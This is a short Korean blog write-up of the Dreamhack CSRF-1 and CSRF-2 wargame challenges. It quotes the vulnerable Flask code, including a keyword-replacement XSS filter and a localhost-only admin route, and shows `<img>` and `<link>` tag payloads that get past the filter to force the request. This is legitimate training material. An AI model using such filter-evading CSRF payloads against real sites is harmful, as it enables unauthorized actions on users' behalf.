- CSRF_1
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
# 내부에서 이 경로로 접속을 해야함 (Cross Site Request Forgery)
if request.remote_addr != "127.0.0.1":
return "Access Denied"
# 접속 시 argument로 userid 주어야함
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
- 필터 걸려있음 (이벤트리스너 형식, 스크립트 태그 사용불가)
- 서버로 하여금 /admin/notice_flag 로 GET 요청 날리게 해야함
<img src="/admin/notice_flag?userid=admin">
<link rel="stylesheet" href="/admin/notice_flag?userid=admin">
cf) <a href="">는 JS없이 HTML만으로 링크 자동클릭/자동 리다이렉션 구현이 불가능하므로 패스
- CSFR_2
동일..
'security > 웹해킹' 카테고리의 다른 글
[Dreamhack Wargame] Command-Injection-1 (0) | 2023.06.30 |
---|---|
[Dreamhack Wargame] Mango + req.query 타입검사 미흡 (0) | 2023.06.29 |
[Dreamhack Wargame] Simple_sqli + blind SQLI 스크립트 (0) | 2023.06.28 |
[Dreamhack Wargame] XSS-2 (0) | 2023.06.27 |
[Dreamhack Wargame] Carve Party (0) | 2023.06.27 |